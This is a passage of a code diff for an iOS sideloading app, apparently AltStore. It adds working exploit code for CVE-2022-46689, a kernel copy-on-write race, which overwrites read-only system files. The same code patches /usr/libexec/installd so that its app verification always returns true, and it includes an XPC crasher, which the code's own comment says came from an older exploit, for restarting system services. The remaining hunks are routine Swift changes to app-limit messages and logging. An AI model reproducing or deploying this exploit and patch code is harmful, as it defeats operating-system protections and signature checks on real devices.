new_method->types = (int32_t)((int64_t)types_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
|
||||
new_method->imp = (int32_t)((int64_t)imp_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
|
||||
}
|
||||
};
|
||||
|
||||
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
|
||||
struct installd_remove_app_limit_offsets offsets = {};
|
||||
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
|
||||
uint64_t copied_size = 0;
|
||||
uint64_t new_method_list_offset = current_empty_space;
|
||||
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||
current_empty_space, &copied_size,
|
||||
^(const char* sel, uint64_t* inout_address) {
|
||||
if (strcmp(sel, "performVerificationWithError:") != 0) {
|
||||
return;
|
||||
}
|
||||
*inout_address = offsets.offset_return_true;
|
||||
});
|
||||
current_empty_space += copied_size;
|
||||
((struct
|
||||
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
|
||||
->target = new_method_list_offset;
|
||||
return data;
|
||||
}
|
||||
|
||||
bool patch_installd() {
|
||||
const char* targetPath = "/usr/libexec/installd";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = make_patch_installd(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
NSLog(@"can't patchfind");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
NSLog(@"can't overwrite");
|
||||
return false;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
xpc_crasher("com.apple.mobile.installd");
|
||||
sleep(1);
|
||||
|
||||
// TODO(zhuowei): for now we revert it once installd starts
|
||||
// so the change will only last until when this installd exits
|
||||
overwrite_file(fd, originalData);
|
||||
return true;
|
||||
}
|
||||
#endif /* MDC */
|
||||
14
AltStore/MDC/helpers.h
Normal file
@@ -0,0 +1,14 @@
|
||||
#ifdef MDC
|
||||
#ifndef helpers_h
|
||||
#define helpers_h
|
||||
|
||||
char* get_temp_file_path(void);
|
||||
void test_nsexpressions(void);
|
||||
char* set_up_tmp_file(void);
|
||||
|
||||
void xpc_crasher(char* service_name);
|
||||
|
||||
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
|
||||
|
||||
#endif /* helpers_h */
|
||||
#endif /* MDC */
|
||||
132
AltStore/MDC/helpers.m
Normal file
@@ -0,0 +1,132 @@
|
||||
#ifdef MDC
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <dirent.h>
|
||||
|
||||
char* get_temp_file_path(void) {
|
||||
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
|
||||
}
|
||||
|
||||
// create a read-only test file we can target:
|
||||
char* set_up_tmp_file(void) {
|
||||
char* path = get_temp_file_path();
|
||||
printf("path: %s\n", path);
|
||||
|
||||
FILE* f = fopen(path, "w");
|
||||
if (!f) {
|
||||
printf("opening the tmp file failed...\n");
|
||||
return NULL;
|
||||
}
|
||||
char* buf = malloc(PAGE_SIZE*10);
|
||||
memset(buf, 'A', PAGE_SIZE*10);
|
||||
fwrite(buf, PAGE_SIZE*10, 1, f);
|
||||
//fclose(f);
|
||||
return path;
|
||||
}
|
||||
|
||||
kern_return_t
|
||||
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||
|
||||
struct xpc_w00t {
|
||||
mach_msg_header_t hdr;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t client_port;
|
||||
mach_msg_port_descriptor_t reply_port;
|
||||
};
|
||||
|
||||
mach_port_t get_send_once(mach_port_t recv) {
|
||||
mach_port_t so = MACH_PORT_NULL;
|
||||
mach_msg_type_name_t type = 0;
|
||||
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right extraction failed: %s\n", mach_error_string(err));
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
|
||||
return so;
|
||||
}
|
||||
|
||||
// copy-pasted from an exploit I wrote in 2019...
|
||||
// still works...
|
||||
|
||||
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
|
||||
|
||||
void xpc_crasher(char* service_name) {
|
||||
mach_port_t client_port = MACH_PORT_NULL;
|
||||
mach_port_t reply_port = MACH_PORT_NULL;
|
||||
|
||||
mach_port_t service_port = MACH_PORT_NULL;
|
||||
|
||||
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||
if(err != KERN_SUCCESS){
|
||||
printf("unable to look up %s\n", service_name);
|
||||
return;
|
||||
}
|
||||
|
||||
if (service_port == MACH_PORT_NULL) {
|
||||
printf("bad service port\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// allocate the client and reply port:
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
mach_port_t so0 = get_send_once(client_port);
|
||||
mach_port_t so1 = get_send_once(client_port);
|
||||
|
||||
// insert a send so we maintain the ability to send to this port
|
||||
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port right insertion failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
}
|
||||
|
||||
struct xpc_w00t msg;
|
||||
memset(&msg.hdr, 0, sizeof(msg));
|
||||
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||
msg.hdr.msgh_size = sizeof(msg);
|
||||
msg.hdr.msgh_remote_port = service_port;
|
||||
msg.hdr.msgh_id = 'w00t';
|
||||
|
||||
msg.body.msgh_descriptor_count = 2;
|
||||
|
||||
msg.client_port.name = client_port;
|
||||
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
|
||||
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
msg.reply_port.name = reply_port;
|
||||
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
|
||||
err = mach_msg(&msg.hdr,
|
||||
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||
msg.hdr.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("w00t message send failed: %s\n", mach_error_string(err));
|
||||
return;
|
||||
} else {
|
||||
printf("sent xpc w00t message\n");
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), so0);
|
||||
mach_port_deallocate(mach_task_self(), so1);
|
||||
|
||||
return;
|
||||
}
|
||||
#endif /* MDC */
|
||||
364
AltStore/MDC/vm_unaligned_copy_switch_race.c
Normal file
@@ -0,0 +1,364 @@
|
||||
#ifdef MDC
|
||||
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
|
||||
// modified to compile outside of XNU
|
||||
|
||||
#include <pthread.h>
|
||||
#include <dispatch/dispatch.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/vm_map.h>
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include "vm_unaligned_copy_switch_race.h"
|
||||
|
||||
#define T_QUIET
|
||||
#define T_EXPECT_MACH_SUCCESS(a, b)
|
||||
#define T_EXPECT_MACH_ERROR(a, b, c)
|
||||
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
|
||||
#define T_ASSERT_MACH_ERROR(a, b, c)
|
||||
#define T_ASSERT_POSIX_SUCCESS(a, b)
|
||||
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
|
||||
#define T_ASSERT_TRUE(a, b, ...)
|
||||
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
#define T_DECL(a, b) static void a(void)
|
||||
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
|
||||
|
||||
struct context1 {
|
||||
vm_size_t obj_size;
|
||||
vm_address_t e0;
|
||||
mach_port_t mem_entry_ro;
|
||||
mach_port_t mem_entry_rw;
|
||||
dispatch_semaphore_t running_sem;
|
||||
pthread_mutex_t mtx;
|
||||
volatile bool done;
|
||||
};
|
||||
|
||||
static void *
|
||||
switcheroo_thread(__unused void *arg)
|
||||
{
|
||||
kern_return_t kr;
|
||||
struct context1 *ctx;
|
||||
|
||||
ctx = (struct context1 *)arg;
|
||||
/* tell main thread we're ready to run */
|
||||
dispatch_semaphore_signal(ctx->running_sem);
|
||||
while (!ctx->done) {
|
||||
/* wait for main thread to be done setting things up */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
if (ctx->done) {
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
break;
|
||||
}
|
||||
/* switch e0 to RW mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_rw,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
/* switch bakc to original RO mapping */
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
|
||||
/* tell main thread we're don switching mappings */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
usleep(100);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length) {
|
||||
bool retval = false;
|
||||
pthread_t th = NULL;
|
||||
int ret;
|
||||
kern_return_t kr;
|
||||
time_t start, duration;
|
||||
#if 0
|
||||
mach_msg_type_number_t cow_read_size;
|
||||
#endif
|
||||
vm_size_t copied_size;
|
||||
int loops;
|
||||
vm_address_t e2, e5;
|
||||
struct context1 context1, *ctx;
|
||||
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
|
||||
vm_address_t ro_addr, tmp_addr;
|
||||
memory_object_size_t mo_size;
|
||||
|
||||
ctx = &context1;
|
||||
ctx->obj_size = 256 * 1024;
|
||||
|
||||
void* file_mapped = mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, file_to_overwrite, file_offset);
|
||||
if (file_mapped == MAP_FAILED) {
|
||||
fprintf(stderr, "failed to map\n");
|
||||
return false;
|
||||
}
|
||||
if (!memcmp(file_mapped, overwrite_data, overwrite_length)) {
|
||||
fprintf(stderr, "already the same?\n");
|
||||
munmap(file_mapped, ctx->obj_size);
|
||||
return true;
|
||||
}
|
||||
ro_addr = (vm_address_t)file_mapped;
|
||||
|
||||
ctx->e0 = 0;
|
||||
ctx->running_sem = dispatch_semaphore_create(0);
|
||||
T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create");
|
||||
ret = pthread_mutex_init(&ctx->mtx, NULL);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
|
||||
ctx->done = false;
|
||||
ctx->mem_entry_rw = MACH_PORT_NULL;
|
||||
ctx->mem_entry_ro = MACH_PORT_NULL;
|
||||
#if 0
|
||||
/* allocate our attack target memory */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&ro_addr,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
|
||||
/* initialize to 'A' */
|
||||
memset((char *)ro_addr, 'A', ctx->obj_size);
|
||||
#endif
|
||||
|
||||
/* make it read-only */
|
||||
kr = vm_protect(mach_task_self(),
|
||||
ro_addr,
|
||||
ctx->obj_size,
|
||||
TRUE, /* set_maximum */
|
||||
VM_PROT_READ);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
|
||||
/* make sure we can't get read-write handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_ro,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
|
||||
/* take read-only handle on that target memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
ro_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ,
|
||||
&ctx->mem_entry_ro,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
/* make sure we can't map target memory as writable */
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||
tmp_addr = 0;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_ANYWHERE,
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_PROT_READ | VM_PROT_WRITE,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
|
||||
|
||||
/* allocate a source buffer for the unaligned copy */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e5,
|
||||
ctx->obj_size * 2,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
|
||||
/* initialize to 'C' */
|
||||
memset((char *)e5, 'C', ctx->obj_size * 2);
|
||||
|
||||
char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - 1);
|
||||
memcpy(e5_overwrite_ptr, overwrite_data, overwrite_length);
|
||||
|
||||
int overwrite_first_diff_offset = -1;
|
||||
char overwrite_first_diff_value = 0;
|
||||
for (int off = 0; off < overwrite_length; off++) {
|
||||
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
|
||||
overwrite_first_diff_offset = off;
|
||||
overwrite_first_diff_value = ((char*)ro_addr)[off];
|
||||
}
|
||||
}
|
||||
if (overwrite_first_diff_offset == -1) {
|
||||
fprintf(stderr, "no diff?\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
/*
|
||||
* get a handle on some writable memory that will be temporarily
|
||||
* switched with the read-only mapping of our target memory to try
|
||||
* and trick copy_unaligned to write to our read-only target.
|
||||
*/
|
||||
tmp_addr = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&tmp_addr,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
|
||||
/* initialize to 'D' */
|
||||
memset((char *)tmp_addr, 'D', ctx->obj_size);
|
||||
/* get a memory entry handle for that RW memory */
|
||||
mo_size = ctx->obj_size;
|
||||
kr = mach_make_memory_entry_64(mach_task_self(),
|
||||
&mo_size,
|
||||
tmp_addr,
|
||||
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
|
||||
&ctx->mem_entry_rw,
|
||||
MACH_PORT_NULL);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
|
||||
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size");
|
||||
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
|
||||
tmp_addr = 0;
|
||||
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
|
||||
/* start racing thread */
|
||||
ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx);
|
||||
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
|
||||
|
||||
/* wait for racing thread to be ready to run */
|
||||
dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER);
|
||||
|
||||
duration = 10; /* 10 seconds */
|
||||
T_LOG("Testing for %ld seconds...", duration);
|
||||
for (start = time(NULL), loops = 0;
|
||||
time(NULL) < start + duration;
|
||||
loops++) {
|
||||
/* reserve space for our 2 contiguous allocations */
|
||||
e2 = 0;
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
2 * ctx->obj_size,
|
||||
VM_FLAGS_ANYWHERE);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
|
||||
|
||||
/* make 1st allocation in our reserved space */
|
||||
kr = vm_allocate(mach_task_self(),
|
||||
&e2,
|
||||
ctx->obj_size,
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
|
||||
/* initialize to 'B' */
|
||||
memset((char *)e2, 'B', ctx->obj_size);
|
||||
|
||||
/* map our read-only target memory right after */
|
||||
ctx->e0 = e2 + ctx->obj_size;
|
||||
kr = vm_map(mach_task_self(),
|
||||
&ctx->e0,
|
||||
ctx->obj_size,
|
||||
0, /* mask */
|
||||
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
|
||||
ctx->mem_entry_ro,
|
||||
0,
|
||||
FALSE, /* copy */
|
||||
VM_PROT_READ,
|
||||
VM_PROT_READ,
|
||||
VM_INHERIT_DEFAULT);
|
||||
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
|
||||
|
||||
/* let the racing thread go */
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
/* wait a little bit */
|
||||
usleep(100);
|
||||
|
||||
/* trigger copy_unaligned while racing with other thread */
|
||||
kr = vm_read_overwrite(mach_task_self(),
|
||||
e5,
|
||||
ctx->obj_size - 1 + overwrite_length,
|
||||
e2 + 1,
|
||||
&copied_size);
|
||||
T_QUIET;
|
||||
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
|
||||
"vm_read_overwrite kr %d", kr);
|
||||
switch (kr) {
|
||||
case KERN_SUCCESS:
|
||||
/* the target was RW */
|
||||
kern_success++;
|
||||
break;
|
||||
case KERN_PROTECTION_FAILURE:
|
||||
/* the target was RO */
|
||||
kern_protection_failure++;
|
||||
break;
|
||||
default:
|
||||
/* should not happen */
|
||||
kern_other++;
|
||||
break;
|
||||
}
|
||||
/* check that our read-only memory was not modified */
|
||||
#if 0
|
||||
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified");
|
||||
#endif
|
||||
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
|
||||
|
||||
/* tell racing thread to stop toggling mappings */
|
||||
pthread_mutex_lock(&ctx->mtx);
|
||||
|
||||
/* clean up before next loop */
|
||||
vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size);
|
||||
ctx->e0 = 0;
|
||||
vm_deallocate(mach_task_self(), e2, ctx->obj_size);
|
||||
e2 = 0;
|
||||
if (!is_still_equal) {
|
||||
retval = true;
|
||||
fprintf(stderr, "RO mapping was modified\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ctx->done = true;
|
||||
pthread_mutex_unlock(&ctx->mtx);
|
||||
pthread_join(th, NULL);
|
||||
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
|
||||
kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
|
||||
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
|
||||
kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size * 2);
|
||||
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
|
||||
|
||||
#if 0
|
||||
T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
|
||||
kern_success, kern_protection_failure, kern_other);
|
||||
T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
|
||||
#endif
|
||||
return retval;
|
||||
}
|
||||
#endif /* MDC */
|
||||
10
AltStore/MDC/vm_unaligned_copy_switch_race.h
Normal file
@@ -0,0 +1,10 @@
|
||||
#ifdef MDC
|
||||
#pragma once
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
|
||||
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
|
||||
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
|
||||
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
|
||||
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
|
||||
#endif /* MDC */
|
||||
@@ -250,26 +250,26 @@ extension AppManager
|
||||
.filter { $0.bundleIdentifier != app.bundleIdentifier } // Don't count app towards total if it matches activating app
|
||||
.sorted { ($0.name, $0.refreshedDate) < ($1.name, $1.refreshedDate) }
|
||||
|
||||
var title: String = NSLocalizedString("Cannot Activate More than 3 Apps", comment: "")
|
||||
var title: String = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps", comment: "")
|
||||
let message: String
|
||||
|
||||
if UserDefaults.standard.activeAppLimitIncludesExtensions
|
||||
{
|
||||
if app.appExtensions.isEmpty
|
||||
{
|
||||
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions. Please choose an app to deactivate.", comment: "")
|
||||
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions. Please choose an app to deactivate.", comment: "")
|
||||
}
|
||||
else
|
||||
{
|
||||
title = NSLocalizedString("Cannot Activate More than 3 Apps and App Extensions", comment: "")
|
||||
title = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps and App Extensions", comment: "")
|
||||
|
||||
let appExtensionText = app.appExtensions.count == 1 ? NSLocalizedString("app extension", comment: "") : NSLocalizedString("app extensions", comment: "")
|
||||
message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
|
||||
message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps. Please choose an app to deactivate.", comment: "")
|
||||
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps. Please choose an app to deactivate.", comment: "")
|
||||
}
|
||||
|
||||
let activeAppsCount = activeApps.map { $0.requiredActiveSlots }.reduce(0, +)
|
||||
@@ -392,7 +392,8 @@ extension AppManager
|
||||
func fetchAppIDs(completionHandler: @escaping (Result<([AppID], NSManagedObjectContext), Error>) -> Void)
|
||||
{
|
||||
let authenticationOperation = self.authenticate(presentingViewController: nil) { (result) in
|
||||
print("Authenticated for fetching App IDs with result:", result)
|
||||
// result contains name, email, auth token, OTP and other possibly personal/account specific info. we don't want this logged
|
||||
//print("Authenticated for fetching App IDs with result:", result)
|
||||
}
|
||||
|
||||
let fetchAppIDsOperation = FetchAppIDsOperation(context: authenticationOperation.context)
|
||||
@@ -875,7 +876,9 @@ private extension AppManager
|
||||
|
||||
if app.certificateSerialNumber != group.context.certificate?.serialNumber ||
|
||||
uti != nil ||
|
||||
app.needsResign
|
||||
app.needsResign ||
|
||||
// We need to reinstall ourselves on refresh to ensure the new provisioning profile is used
|
||||
app.bundleIdentifier == StoreApp.altstoreAppID
|
||||
{
|
||||
// Resign app instead of just refreshing profiles because either:
|
||||
// * Refreshing using different certificate
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import Roxas
|
||||
import Network
|
||||
|
||||
@@ -39,7 +40,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
let context: AuthenticatedOperationContext
|
||||
|
||||
private weak var presentingViewController: UIViewController?
|
||||
|
||||
|
||||
private lazy var navigationController: UINavigationController = {
|
||||
let navigationController = self.storyboard.instantiateViewController(withIdentifier: "navigationController") as! UINavigationController
|
||||
if #available(iOS 13.0, *)
|
||||
@@ -48,7 +49,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
}
|
||||
return navigationController
|
||||
}()
|
||||
|
||||
|
||||
private lazy var storyboard = UIStoryboard(name: "Authentication", bundle: nil)
|
||||
|
||||
private var appleIDEmailAddress: String?
|
||||
@@ -241,7 +242,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
||||
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
|
||||
{
|
||||
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
|
||||
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -266,7 +267,11 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
super.finish(result)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.navigationController.dismiss(animated: true, completion: nil)
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
self.dismiss()
|
||||
} else {
|
||||
